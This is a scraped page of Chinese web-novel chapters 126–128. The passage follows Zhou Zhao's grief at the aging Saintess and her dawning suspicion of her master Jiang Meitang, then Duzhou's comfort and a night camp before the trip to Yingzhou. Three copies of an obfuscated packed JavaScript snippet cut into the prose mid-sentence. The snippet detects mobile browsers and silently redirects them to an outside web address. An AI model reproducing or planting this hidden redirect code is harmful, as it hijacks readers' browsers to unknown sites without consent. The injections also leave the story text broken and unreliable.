周昭茫然抬首,一个红衣老妇猝不及防地跳入她的视线,圣女却不见踪影。她不知是敌是友,正戒备时,突然看到那老妇花白的头发上簪着熟悉的金钗,那双低垂的眼睛虽然浑浊无光,但却是湖水般的碧绿色,她惊愕道:“你是......” 对方摸了摸脸颊,继续用苍老的声音道:“是我。你说完了吗?” 太阳。 周昭反应过来,她抓起老妇的手便想往神殿的方向走。但周昭不会法力,就算是绝顶轻功,也做不到带着另一个人横跨两座山之间,她急切道:“用你的术法,快让这些雾气回来。” 对方扑哧笑道:“你怎么了?我不急,你反倒慌了。” 这位突然出现老妇人正是圣女。 “距离我再次看到太阳,已经过了快两千年啦。”圣女摊开皱皱巴巴的手掌,放到阳光底下,光线仿佛穿衣针,很快在她掌心留下一个皮肉烧焦的伤口。 周昭很想把她的手拉回来放在阴影处,但她看着圣女脸上满足的笑意,看着她尽力仰起头颅,像个孩子一样好奇而又安静,望着碧蓝色的天空跟雪白的云朵,周昭突然理解了她为什么要这么做,轻声道:“太阳,还会有的。” “是吗?”圣女收回手,侧目道,“你来时,可曾看到那片碧绿色的湖泊?” “......嗯,看到了。” “我死以后,你把我扔进湖里吧。这样我就能一直看见蓝天,看见湖水。” 周昭握住她的手,道:“不,你不会死的。你不是活了几千年吗?你怎么会死?你还......” 还没有长大。 圣女有些莫名其妙地望着她,似乎看不懂周昭如此激动是为什么,她嫌恶道:“你真啰嗦。” 说罢,她指着山谷道:“这里的人都死绝了,尸骨全都埋葬在那里。自从疟鬼的首领被你们抓走,剩下的疟鬼也全都死了。我一个人在这儿待了一千年,实在无趣。” 说话间,她的身体倚着石壁慢慢往下滑,声音也越来越小:“你记着,要把我扔进那片湖......” “你......你坚持一会儿,渡舟会来的,他会来找我们的。”周昭抱着圣女轻飘飘的身体,双眼有些放空。 为什么? 为什么又要让她看见一个活生生的人死在面前?为什么知道真相,总是要付出巨大的代价? 在这苍茫辽阔的天地间,一股前所未有的巨大悲怆淹没了周昭。她突然生出一种毁天灭地的愤懑。 她恨变成鬼王的成祖皇帝,恨接二连三离她而去的父兄,恨该死的姜国人,恨汴州梁王,恨谢景,最终这些所有的情绪都对准一个人—— 她恨江梅棠。 她简直想不管不顾,抱着失去意识的圣女纵身跳入悬崖深谷,然后一了百了,死在江梅棠面前。 这些支离破碎的情绪快把周昭逼疯了。 是她,原来真凶就是她自己。 她亲手将埋藏了千年的怨念从这里带回了盛都,她亲手种出了槐鬼。 周昭,你怎么不去死呢…… 她朝悬崖边挪动了几步,突然很应景地想起渡舟那日在船上说过的话。周昭抬起头看向远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269374|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那神像不是彼岸,山洞不是彼岸,她自己才是彼岸。 她不是凶手,她不是…… 周昭深吸了几口气,正往后退,一个鬼影突然间从山下蹿上来,速度之快犹如闪电,周昭来不及反应,便被那“鬼影”紧紧勒住脖子,转了个身将她从悬崖边拖开几步远按在石壁上。 “你......” 周昭不说话了。 她感到埋在自己颈间的人微微抽气,环抱着自己的手臂是那样紧,紧贴着自己的身体正在颤抖。那微不可查的颤抖带着主人的痛苦,一丝一缕传递到她身上。 周昭一下子心软了。 她甚至回忆不起来自己刚才满腔愤恨从何而来。周昭被紧抱着,轻声道:“我......” “别说话!”渡舟打断道。他先是凶狠,继而变成柔软的哀求,“殿下,你先别说话。” “可是......” “算我求你,让我抱一会儿。”渡舟哑声道。 好吧。 周昭深吸一口气,也许是渡舟此时此刻的语气令她动容,也许是他身上那股不容忽视的血腥让她不安,总之,周昭鬼使神差地抬起手臂,轻轻地环抱住渡舟的腰,动作并不娴熟,甚至于十分僵硬地在他后背轻轻抚摸了两下。 渡舟猛地一震,终于抬起头,神情带着深深的疲倦和肉眼可见的慌乱。 周昭有些尴尬地别过脸,问道:“我能说话了吗?” “......可以。” “你先放开我。” 哪知渡舟把她抱得更紧,道:“不行!” 周昭知道了,渡舟八成是看见她刚才的举动,以为她要寻死。 原来这世上还有人如此珍视她的性命。周昭忽然想起上辈子,也是她和渡舟走在这条拥挤的山道上,那时候前路未卜,不知生死,却年少无畏,一腔孤勇。 如今断壁残垣,风声萧瑟,活着的人已经化成山涧白骨,死了的人或许污了身后清名,来往过客匆匆,还是她和渡舟站在这里。 她突然生出些相依为命的错觉,有些说不清道不明的东西,从周昭那颗冰封了一千多年的心脏里冒出来,从两个人紧紧熨帖着的身体,准确无误地冲到她尚且清醒的脑子里,如同雪后初霁,烈风过境。 “……渡舟,我不会死的。”周昭又在他背心轻轻抚了两下。渡舟放开她,如同每一个劫后余生的人,第一反应便是确认,确认那个让自己性命攸关的东西还在不在。 “真的,我……好好活着。”这是对这世道已经心灰意冷的周昭所能给出的最大诚意。她想了想,又道:“君无戏言,一言九鼎。” “明鸢……”渡舟的声线有些克制的颤抖,眼底烧着尚未褪去的猩红一片。 相反的,周昭显得冷静很多,她跟渡舟简要说明了圣女的情况,渡舟也不知听清楚没有,像是还没从刚才大喜大悲的情绪里脱身。 但他昏昏沉沉,也没忘了正事,先是抬手召来云雾,再将她们送到对面的空地上,从腰间抽出昆仲,随意吹奏了几个音,一缕淡淡的黑气自昆仲溢出,目标明确地钻进圣女的身体。 半晌,圣女动了动,缓缓睁开眼睛。她第一眼看向周昭,随后才是渡舟,渡舟抢道:“不是我想救你,是我家殿下不想你死。” 圣女翻了个白眼坐起来,似乎并不领情。 周昭蹙了蹙眉,问道:“她还能回到原来的样子吗?” “有点难。花开花谢,生老病死是这世间的规律,无法逆转。”渡舟又道,“殿下不必自责。” “自责?”圣女不解道,“为何要自责?我是为了看一眼蓝天和太阳,再说了,长大不好吗?” “好是好,只是......”周昭不知道如何才能让她明白,长大并非像这样一蹴而就,宛如囫囵吞枣。 圣女并不理会周昭,转向渡舟,道:“你那只骨箫,好生奇怪。”她说着便伸手去摸,却抓了个空,“小气!” 渡舟双手抱胸,道:“你自由了,小十七。” 周昭惊讶地看向渡舟,心道:“原来圣女也没有名字。” 圣女疑惑道:“什么意思?” “你不用再害怕太阳了,反正......”渡舟打量着圣女,嘴巴很毒地说道,“反正你已经变成这样。十七,你长大了。” 圣女那双碧绿的眼睛里并没有什么波澜,她只是远眺着山谷之外,自言自语道:“真好啊,我想去看看外面的样子。对了,谢谢你帮我梳头。”她看了眼周昭,突然纵身一跃跳入悬崖,周昭脚下一动,渡舟拉住她:“别担心,她只是走了。” “......好吧,走得真快。”她说完,没事可做,陡然从刚才看见石像的巨大打击里反应过来,一反常态地牵住渡舟的手,语气匆匆,“走吧,我们也走。” 渡舟被她拽着往前走了几步,又被拖着向后走了几步,周昭喃喃自语道:“索道呢?下山的索道哪儿去了......” “明鸢,这里没有索道。” “我们得快点下去,国师他们还在食人坡。”周昭左转右绕,脚步一刻不停,走了两步,竟然看也不看,又一头扎进刚走出来的神殿。 “他们就在山脚下,那石像没有追过来,殿下放心。” 周昭却听不进去,道:“不,那不是石像,是神女青葵,我们快些下去。”她走进神殿,避无可避地看见摆放在正中央的神位,视线触碰的那一霎那,就像撞鬼了似的转身又往外走。 突然间,周昭看见对面的石头路,她喜出望外,忘了还牵着渡舟,踮起脚尖就要往对面跳,渡舟大惊失色,一把将周昭按在怀里:“明鸢,你怎么了?” 周昭茫然道:“没怎么啊,我们不去救人吗?” 渡舟无奈道:“没有人有危险。” 周昭勉强应了一声,但刚维持了片刻,她又肉眼可见地焦灼起来,在原地转了一圈又一圈。 渡舟看不下去,妥协道:“那我们走吧。” “好。”周昭斩钉截铁道。 下山路上,周昭始终没有回头再看一眼。 127. 第 127 章 等在山下见到沈云起,周昭才知道原来神女青葵之所以没追上来,是因为渡舟跟青葵刚交上手,便从地下又冒出来一个神女青葵。 “……一个温温柔柔,一个凶神恶煞。这两个长得一模一样的的女鬼打得昏天黑地,连招式都一模一样,要不是富贵儿强行拉着我走,我真还想再看看谁会赢呢。”沈云起语速飞快地跟周昭讲述刚才看到的奇事,陆轻苹抱着剑坐在不远处,顾绍却难能可贵地没有凑热闹,他背靠着一块大石头,离他们很远,目光一直遥遥相望着那连绵不断的石山,不知道在想些什么。 “不是女鬼。” “嗯?你说什么?” 在沈云起口干舌燥地讲了一大堆之后,周昭像是刚反应过来,淡淡道:“我说,那不是女鬼。” 沈云起难以置信道:“总不能,真是什么神女吧?” 周昭有些疲倦地点点头。 沈云起还想再问,被陆轻苹捂着嘴巴拖走。 渡舟坐在周昭身边,百无聊赖地转着骨箫,语气稀松平常地说道:“明鸢,你刚才在食人坡说无支山有尊玉像,就是我们见到的那个吗?” 周昭应道:“十有八九。” “也罢,看来这两尊塑像出自两个不同的人之手,所以性情也大有不同。”渡舟边说着,边用眼睛打量周昭的神色,见她毫无反应,似乎对玉像之事压根不在乎,也没什么兴趣探究为什么会有两尊塑像。 自打从行人岭上下来,周昭便是这副生人勿近的样子,问便回答没事儿,再问就冲他笑笑。 渡舟不安地皱起眉,几乎是怨恨地回头看了看行人岭方向,却听见周昭道:“你早就知道了,是吗?” “知道什么?”并非渡舟故作不知,而是他的确瞒了周昭许多事,一时之间分辨不出周昭指的是什么。但他很快就明白了,摇头道:“也不算早,我查到魂片方位,才想到瀛洲这地方。” 周昭直切要害,问道:“那你觉得,当年槐鬼一事是谁所为?” 渡舟反问道:“殿下以为呢?” 周昭倒也坦然:“我上辈子以为是鬼王成业,这辈子刚开始怀疑是你,至于现在......我也不知道。都说当局者迷,这话果然不错。十六,你觉得呢?” 渡舟并没有急着回答,而是问她:“若我说了,明鸢,你会信吗?” 周昭动了动干裂的嘴唇:“信。” 渡舟将昆仲在左手掌心轻轻拍了几下,似乎在思索如何开口,半晌,轻声道:“我从前跟殿下一样,都以为这是成业所为。所以当殿下说要找到对付槐鬼的办法时,老实说,我不抱一丁点希望。” 还有一个折磨了渡舟很多年的念头,他没能说出口:我以为是我引来了成业,是我让你这么痛苦。 渡舟有些歉意地笑了笑:“因为我太了解成业了,他做事便会做绝,杀人就要杀光。以凡人之力与成业相抗衡,难于登天。不过,我很佩服殿下的决心。所以我明知这事儿做不成,却不忍告诉你。” 从前的一桩桩旧事在脑海中浮现,周昭想起裴砚的古怪行为,那便解释得通了。 渡舟继续道:“后来过了很多年,成业一直不曾松口槐鬼是他的手笔,再加上我也想不通,为什么成业要对自己国家的百姓做出这种残忍的事情。于是我隐隐察觉,也许是我错了,成业并非促成槐鬼的幕后真凶。我查阅古籍,翻遍史册……” 周昭用怀疑的眼光看了渡舟一眼,他面不改色地补充道:“偶尔也挖几座坟,招两个魂。” 周昭总算知道了,渡舟那娴熟到令人惊叹的挖坟技术是从哪里来的了,她用复杂的目光看看昆仲,有点同情。 渡舟接着道:“我很快发现了这个在历史上只存在了短短几百年的国家——月临。月临并非被黄沙掩埋,而是被周朝灭国。月临出过一位神君,又跟周朝有灭国之仇,于情于理嫌疑最大。但我再往下查,又发现于南桑在周朝灭国的前后两百年一直闭关修行,且那时恰逢他受天劫,不至于再有精力干灭国的勾当。” 周昭听到这里眼神微动,渡舟神情略有不忍,继续道:“直到瀛洲方向出现大批魂片,我暗暗查访,觉得此中有异。” “于是你再次来到行人岭,看见了那尊石像,却不知如何开口对我讲,或者说,不知道该不该对我讲。你问出那个问题,问我如果是宁啻,愿意就此浑浑噩噩地活下去,还是知道真相,哪怕真相是常人不能接受之残酷。”周昭平静道,“我选了后者。你终于下定决心,用瑶姬引来白赭,再将你知道的告诉圣女,让魇鬼引我前来。因为你知道,无论如何我不会相信于南桑就是……就是江梅棠。” 江梅棠,东华。 这两个风马牛不相及的名字放在一起,周昭突然有种悬在半空的陌生感。 周昭后半句话说的艰难,等她说出口,才后知后觉地发现,原来一切并非无迹可寻。 譬如疟鬼是江梅棠让她来三苗寻的,譬如江梅棠突然暴毙身亡,尸首却凭空消失,譬如…… 史书上说安平三年皇帝打开了九重琉璃塔,却没人知道周昭在塔下看见了什么。 疟鬼的人头是缝上去的,月临王真正的头颅其实在琉璃塔内,这么多年周昭一直没想通,为什么塔内会有一个人头。她现在才明白了,因为龙脊山关着她抓来的疟鬼,那半副身体跟琉璃塔内的人头就是打开怨气的钥匙。 阵法已成。目袋被召唤,槐鬼现世。 “殿下,就算没有你,他把疟鬼带去盛都也易如反掌,这不怪你。”渡舟担忧地望向她。 道理周昭都明白,但真的很难。 太难了。 周昭简直要把手心掐出血来,才能忍住不去想,自己就是把槐鬼引来盛都的那个人。 她感觉体内血气乱窜,经脉沸腾,耳朵里嗡嗡地响,刚才站在悬崖边那种想要杀光所有人的恨意又源源不断地涌上来,嗓子里尝到一股很苦的铁锈味,让她恨不得跳起来捅自己两刀。 “明鸢?明鸢!” 耳鸣声轰得一下炸得周昭眼冒金星,她强迫自己的视线重新回到渡舟身上。 不知为何,从前总感觉自己无时无刻都在那片冻住的汴江水底,如今看到渡舟,周昭却好像被人拉了一把,从冷得刺骨的冰水里实实在在地踩在了地面上。就好像她知道自己不会再掉下去,哪怕是掉下去,也有个人接住她。 渡舟紧锁着眉又叫了她一声。 周昭下意识抓住那只伸向自己的手,她感觉那只手稳稳当当地接住了她半死不活的神魂,于是脱口而出道:“渡舟,你会一直接住我吗?” 渡舟似乎有一瞬的失神,但他没给周昭反悔的机会,用力地回握住周昭的手,应道:“会。” 瓦蓝的天空,碧色的湖水,青绿的嫩草,这些像五彩斑斓的画卷倒映在他浅浅的眸子里,紧跟着一切都消失了,周昭只看见自己。 渡舟好看的嘴巴一张一合,他低声重复道:“明鸢,我会接住你。” 周昭算起来是历史上过得最“素”的帝王,虽然史书写她如何奢靡成性,如何夜夜笙歌,这些话真假参半,暂时不予评价。 但不管是野史还是正史,都不曾写她荒淫无度,声色犬马,因为安平年间周朝没有后宫,这段历史倒是完好无损,不掺合一点儿假的被记录下来了。 唯一一段儿写进来的,还是跟谢景那半途而猝的假情史。 这风花雪月一词,拆开来看周昭都很熟悉:北风朔雪,镜花水月。 合在一起便觉得陌生。 周昭茫然地眨了眨眼睛,她生平第一次有了跟一个人一起看看风花雪月的念头,这念头来的不合时宜,却也恰到好处。周昭正准备以自己贫瘠的理论能想到的最佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周昭却笑出了眼泪,她这一笑眼泪便停不下来,捂着脸埋在般般柔软温暖的身体里,肩膀也笑得一耸一耸的。 “……明鸢。” 过了会子周昭抬起脸,清晰的泪痕还挂在腮边。阳光和煦,天朗气清。她看着顾绍跟烛龙缠斗在一起,沈云起叉着腰在一旁观战,陆轻苹不情不愿地站在旁边皱眉翻白眼,一种久违的、发自内心的暖意升腾而起,她甚至没发现自己抬了抬唇角,问道:“你刚才是做什么?” 渡舟啧了一声,道:“烛龙几千岁了,老不正经。” 周昭反应了好一会儿,才道:“你跟小动物生什么气?” 渡舟没承认,但他一巴掌拍在般般的脑袋上,认真道:“你要是个公猫,我就把你骟了。” “渡舟。”周昭忍不住道。 渡舟改口道:“对不起,脏了殿下的耳朵。”他抓起般般放在自己腿上,威胁道,“母猫也不准天天黏着明鸢,听见没有?” 般般没好气地叫了一嗓子,并不想理会。 周昭摸着般般的后背,问道:“般般刚才明明受伤了,怎么突然又好了?” “它有九条命,信不信?” 周昭很难看出渡舟是在胡编乱造还是认真的,她妥协道:“好吧,原来咱们的般般……是条狐狸呢。”周昭低下头亲昵地蹭了蹭般般的鼻尖,渡舟脸一沉,般般也被用同样的手法扔了出去。 周昭无奈笑道:“干嘛啊……” 渡舟装死不说话。 般般骂着脏话跑回来,抬起尖爪子,周昭眼尖地抓住般般,温声道:“不可以打他,知道吗?”她说完,感觉一道视线不偏不倚,暖洋洋地落在身上。 渡舟一条腿平放着,另一条腿随意地弯曲,左手有一下没一下地转着昆仲,右手手肘放在膝上,目光炯炯,眼底笑意如朝露。 这是周昭活过来后第一次这样仔细地看渡舟,她发现渡舟是眼睛先笑,再是嘴巴,最后低沉的笑声轻轻地从喉咙里溢出来。 128. 第 128 章 夜幕降临,星野寥廓。 山脚下的平原生着一堆火,哔哔啵啵的声音既来自于树枝燃烧的声音,也来自于火堆上被烤得外焦里嫩的鱼喉咙里的歌声。 谭水虽浅,鱼却多。低头看,像是在云上游。 起初是沈云起喊饿,陆轻苹冷着脸下河摸鱼。后来不知怎的,渡舟似乎也兴致勃勃,脱了鞋钻进水里。他挽起裤脚,露出线条流畅的小腿,后来又嫌袖口太长太大,索性脱了外衣扔上岸,只装着一件单薄的白色里衣,衣裳一沾水便透,贴在肌肉分明的腰背上。 渡舟抓鱼的技术竟然比陆轻苹还好,拿着根削尖的木棍随便一扔,再拿起便穿着一条摇头摆尾的鱼。 沈云起忍不住道:“好厉害!主君连抓鱼都会啊!”她又阴阳顾绍,“不像某些人,十指不沾阳春水。” 三个男人中只有顾绍好端端坐着,他切了一声,傲慢道:“本侯才不干这种活。” 虽然这么说,顾绍整个下午都是这幅心不在焉的状态,他跟沈云起吵了几句嘴,又把自己沉浸在一言不发的状态里。 周昭趁着这会子功夫找到烛龙,问起那晚渡舟突然发狂的异状,她说的委婉,烛龙在她刚一问出口便神情微变,但是他没学会遮掩,因为找的借口也很敷衍:“哦,渡舟是妖嘛,总有那么几天修行走火入魔,没什么大不了的。” 周昭反问道:“渡舟明明是人,为何真身是槐树?当年的事情,你知道什么?” “烛龙!”渡舟远远地叫道,“滚过来拿鱼。” 烛龙腾地一下变成原形溜走了,夕阳洒在水面像一把碎金,周昭走到岸边道:“渡舟,你过来。” 渡舟转过身,迎着落日的余晖走过来,他一靠近便是满身的冷气和水汽,周昭道:“你转个身。” 渡舟听话地转了个身,周昭拢起他铺了满背湿漉漉的长发,她先是用手指大概梳理了一番,再用帕子将水渍拧干,随后从头上拔了根玉簪,但渡舟太高了,周昭只好踮起脚,几乎是同一时刻,渡舟从善如流地向下弯腰。她三两下为他束起长发,可惜没有发冠,簪子固定的并不怎么牢。 “好了。”周昭道,“湿了头发,风一吹要头痛。” 渡舟回头笑笑,什么话也没说,只把手上的鱼交给周昭,又下水去了。这次般般不甘示弱,跟着渡舟在河里蹿,姗姗来迟的烛龙也一个猛子扎进去。 陆轻苹本来意兴阑珊,渡舟来了之后突然间干得十分起劲,沈云起站在一边指指点点拍掌大笑。 周昭把渡舟扔上岸的衣服捡起来抱在怀里,走到顾绍身边坐下,没待她开口,顾绍便问:“我是不是来过这里?” 周昭愣了愣,道:“将军想起什么了吗?” 顾绍道:“没有,但我觉得很熟悉。”他用手抓了抓脑袋上的头发,“好像……还有一个人。” 般般跟烛龙又在水里打起来,被渡舟一人一巴掌扇开,陆轻苹脚底跑得飞快,沈云起笑弯了腰。周昭轻声道:“……是还有一个人。” “你说什么?” “......没什么。” 顾绍转了转脖子,道:“你们接下来要去瀛洲?” “对。” “听说那里以前有个叫黎国的国家,有位国主叫谢景。”顾绍试图从周昭的脸上寻找答案,“谢景……跟你很熟吧?” 周昭应道:“……很熟。” 顾绍斜了她一眼,出人意料地取下那只面具,不知是不是周昭的错觉,那两张脸竟然越来越像,一种诡异而又柔和的神态在眼角眉梢浮现,他问道:“那日在岁恩宴上,你是在看这面具对不对?” 周昭嗯了一声,道:“从前我也有一只这样的面具。” “一模一样?” “一模一样。” 顾绍把玩着饕餮面具,好奇地盯着她,问出心里一直想问的:“你真是周昭的话,难道不想复国吗?” 周昭一时惊讶,看来顾绍并不知道江南画舫发生过的事情,发自内心地笑道:“复国?亡国之君谈何复国。” 顾绍看了看潭水的方向,意有所指道:“有那位在,易如反掌。你就没想过这世上的妖魔鬼怪那么多,陛下为什么偏偏想致他于死地?” “忌惮。” “你不觉得,他的确值得忌惮吗?” 周昭面不改色地替渡舟找补,淡淡道:“牵机营保了宣朝多少代国泰民安,皇帝做得过了。” 顾绍饶有兴致道:“你真信他一心为国,没有半点私心?你知道陛下为何要先抓你吗?他是刀,你就是那让刀锋出鞘之人。一个死了一千多年的的前朝皇帝不可怕,可怕的是,手握一把足以颠覆王朝的刀。” “不,”周昭反驳道,“他不是刀。” “那是什么?”顾绍反问。 渡舟举着穿成一串糖葫芦的鱼赤脚走过来,他逆着光,皮肤却还白的像瓷,般般跟在后面时不时就蹦起来想吃鱼,每当它快要够着的时候,渡舟便再往高举一点。 周昭道:“会抓鱼的猫。” “明鸢,在说什么这么开心?”渡舟不算友好地看了眼顾绍,然后很没有眼色地,堂而皇之地坐在二人中间,顾绍很嫌弃地走开了。 周昭将衣服递给他,渡舟笑道:“我不冷,你再多抱一会儿。”周昭被他一句话说得拿也不是扔也不是,本想干脆丢给渡舟,又看他周身湿了大半,于是作罢。 渡舟心情很好地举着那串鱼,在周昭眼前晃来晃去,惹得般般上蹿下跳,周昭按住他的手,轻声道:“别勾着她了。” 渡舟骂道:“出去别说是我养的,连鱼都抓不到,笨死算了!” 等到天空变成绚丽的深玫瑰色,白色的炊烟已经在这片空地蹿了起来,变成絮状的云朵升上去消失了。火苗被鱼香勾引得上下跳跃,却总是差一点,只好用火舌一遍遍舔舐鱼皮,催发出诱人的香味。 他们围成一团吃着鱼,商量第二日出发去瀛洲。 “我要去!听说那里的仙君长得那叫......唔!” “吃都堵不住你的嘴!”陆轻苹沉着脸把一块剔好刺的鱼肉塞进沈云起嘴里,看向渡舟,一本正经道,“属下听从主君安排。” 周昭不由怀念起碎嘴子上官富贵,有心揶揄:“上官大人,我从前怎么没发现原来你是个内向型的。” 陆轻苹皮笑肉不笑,心道:“那是主君从来都对你笑脸相迎。我是不想说话吗?我是不敢说话!” 渡舟道:“后面的路,换成那副皮相吧。”又转向沈云起,“你随便。至于你嘛……”他上下打量顾绍。 顾绍大言不惭道:“本侯负责保护国师安全。” 周昭暗道:“他多半是想起了什么,想去黎国找个答案。” 渡舟先是犹豫了片刻,才道:“随你。” 在他们围着火吃鱼的功夫,突然间地动山摇,周昭还当山上有滚石落下来,起身张望,却见半山坡上凭空多出来一处院子。她正道怪事,那院子竟像长了两条腿飞也似的从底下“跑”上来。 仔细一看,原来房屋四角各有两名青面獠牙的鬼,他们双肩扛着房子,竟如同抬起一顶轿子般如履平地,房前还有一个正在指挥的绿头鬼,嘴里叽里咕噜地唱着什么听不懂的调子。 顾绍眼中掠过一丝难以置信,指着山下那向他们跑来的房子,道:“连这种穷山僻壤都有牵机营的爪牙,本侯佩服得很。” 渡舟一贯是想听的话才听,不想听的话压根入不得耳。顾绍多半时候属于渡舟耳朵里的后者,他不为所动,指点江山:“就放那。” 轰得一声巨响,惊得谭中鱼纷纷跃起,在月光下串成一道银线。 “滚吧。” 青面鬼们纷纷滚了,消失地无影无踪。 周昭想起来了——这些鬼她见过。 她目光探究,渡舟略略笑道:“我这人睡惯了床,明鸢,将就住一晚吧。” 远望着就已经不算小了,等真的走到跟前推开门,才知渡舟口中“将就住一晚”有多夸张。 这小院虽远不及无相城中的大,却五脏俱全,三进三出,能想到的想不到的一应俱全。 顾绍阴阳怪气地啧啧称奇,沈云起只顾叫好,看不出其中门道,只有周昭暗暗想道:“看来渡舟早早地便预备好了这地方,否则以那九只青鬼,如何能穿过遥遥沙漠把住的地方抬来。” 烛龙跟般般困得东倒西歪,一个为老不尊地挂在渡舟腰上,一个软乎乎地趴在周昭肩膀上。各人挑好房间便散了,般般突然精神抖擞地眼睛一睁,从周昭肩上蹿到渡舟的房间。耳边忽地没了声音,周昭便又控制不住地想起自己那位师父。 周昭自欺欺人地想,也许世上只是有两个长得一模一样的人,恰好一个是瀛洲的神君,一个是她敬若父兄的师父。 所以哪怕在行人岭见过那尊石像,这阵子她心里憋着的那团要把自己炸成灰的火焰,又旗鼓偃息般灭了。 她的师父怎么会是那石像呢? 江梅棠一身风骨,也不至于跨千山万水来人间一趟,出山门哄哄她这小孩子。 一切到了瀛洲便能揭晓。她既想去,又不敢去。 双手便扶在门框不上不下。 一阵轻微的低咳一下子将她的神思拉回来。周昭忽然想起那时渡舟发狂的样子,江梅棠的脸在脑海里戛然而止,等她发现时已经走到窗根底下。 “……渡舟?”周昭惊觉自己将心里想的轻声喊了出来,只好硬着头皮继续道,“你……还好吗?” 周昭从来不知道尴尬也能让人想一头撞死。各屋的灯尚且没有吹熄,她便跟幽灵似的飘了出来,不知是不是巧合,她说完这句,除了东南角顾绍屋里的灯亮着看好戏,剩下两间屋子顷刻间吹灯拔蜡。 屋里半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277312|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天没有回话,周昭一边觉得是她自作多情,一边又担心渡舟真出了什么事儿。她从前马背上斩落敌首眼都不眨,军帐内指挥千军如家常便饭,如今站在这月光格子下面,竟惴惴不安起来。 周昭感觉腿都要站酸了,实则并没有过多少分毫,一团寒气如月亮不小心掉进了怀里,清幽地逼过来,从头到脚将她裹挟住。 周昭猝不及防地转身,渡舟不知什么时候从房间里出来的,好整以暇地站在身后看她,阴影处脸白如纸,眼底却带笑,低声道:“明鸢,你找我?” 周昭被他那夜的模样吓怕了,突然看见这么个囫囵人出现在面前,心竟然跟着如释重负地颤了颤,然后是相顾无言漫长的尴尬,直到她眼尖地看到渡舟垂下来的白发上沾着的一点儿血线似的红色,蹙眉道:“你受伤了?怎么回事儿?” “没有”。渡舟将那缕头发拨到身后,“杀鱼溅上的。” 渡舟还是那副云淡风轻的神色,但此刻周昭却见不得他这幅样子,那股刚熄灭的火又被渡舟点燃,且烧得比刚才还要汹涌。 渡舟在她显然不相信这副说辞的目光下又玩笑道:“那金像下手真狠。不愧是神女。不过,我一个不入流的鬼,输给神女不过分吧?” 他还是这般遮遮掩掩。 周昭正想说“那神女压根没跟你打两下”,话在嘴里滚了一圈又滑下去。渡舟有什么事儿瞒着她,他不想让她知道,问也没用。早在一千多年前,周昭便领教过了萧十六这招瞒天过海的厉害。 “不去瀛洲了。”周昭道。 渡舟脸上的笑意渐渐散了,他的眸光凝成幽深的潭水,周昭重复道:“我不想去瀛洲了。” 渡舟微微皱起眉。 每当这时候周昭便觉得渡舟有种年长者的威严,这副面孔跟小时候见过的,穿得破破烂烂的萧十六渐渐重合,周昭后知后觉地意识到当年的十六亦不是个少年人,而是背负了几百年沉重光阴,从地狱深渊里走出来的人。 “不去找你的师父了?” 周昭梗着脖子道:“我师父已经死了。” 渡舟却笑,笑得很讨打,一边笑一边牵着周昭的手放进怀里。他手凉,怀里却出于意料地很暖。也许是周昭贪着那点儿暖,竟也没躲。 渡舟牵着周昭走到房门口,温声道:“我没事儿,殿下见过哪只鬼这么容易死掉了。就算是梁……” 渡舟有些犯恶心地停住话,好像提一嘴梁王便是什么脏了嘴巴的事情:“我这是从前跟成业打的那场留下的旧伤,所以隔段时间便要闭关,我都习惯了。不信,你问般般。” 般般睡得正香,眼睛都不带睁开。 以周昭从前的经验,若渡舟有事,般般一定是最早知道的。她有几分放心,又不完全放心,渡舟推她进去,道:“瀛洲又不是龙潭虎穴,听说那里是块风水宝地,说不定我吸两口仙风,喝两口泉水,旧疾便好了。再说,我还没听到明鸢今日要对我说的那句话,死了都不会瞑目的。” 他满嘴胡言,周昭被他哄得想骂人都张不开嘴,所谓风水轮流转,她也终于体会了一把渡舟从前的感受,掀起眼皮低声道:“别说这么不吉利的话。” “明鸢,下次是什么时候?” 周昭有些惊讶,她从前怎么没发现渡舟这么能说会道。还是说渡舟一直在她面前装模做样,如今尝到一点儿甜头,便腻歪歪地贴上来。从前满口不离“殿下”,如今一口一个“明鸢”。她白日说“下次告诉他”,他便记得一清二楚,反过来不依不饶。 虽然这种感觉有点陌生,但并不讨厌。 周昭落了下风,存心扳回一局,让他望梅止渴,空口许诺:“等我们从瀛洲回来。” 渡舟勉强接受,又看着她道:“殿下决定去瀛洲,也不全是为江梅棠吧。各地魂片蠢蠢欲动,殿下要查的,想查的,想救的……” 周昭打断他,摇头道:“我没你想的那么好。” 渡舟淡淡笑道:“明鸢,你是我看着长大的。” 言下之意,你的喜怒哀乐,你的家国天下,你的进退维谷,我比这世上任何一个人都清楚。 虽然周昭重活一世,常常一副“天下与我何干”的戒备和漠然,可若是真到了要天下人性命的地步,她又舍不得一把火烧了人间。 渡舟深谙此理,继续不疾不徐道:“明鸢,我虽然比你活的时间长,但千年光阴弹指一挥间,是你教会了我做一个‘有心’的人,而不是‘无心’的鬼。” 周昭无声地张了张嘴巴,渡舟伸手在她肩头轻轻拍了怕,温声道:“好了,别胡思乱想,睡去吧。” 待渡舟抽身离去,周昭突然唤住他:“十六。” “嗯?” “……当年,你是不是为了救我才死的?” 后半句话周昭没敢问出口—— 你是不是在作为裴砚的时候,才变成槐妖的。 129. 第 129 章 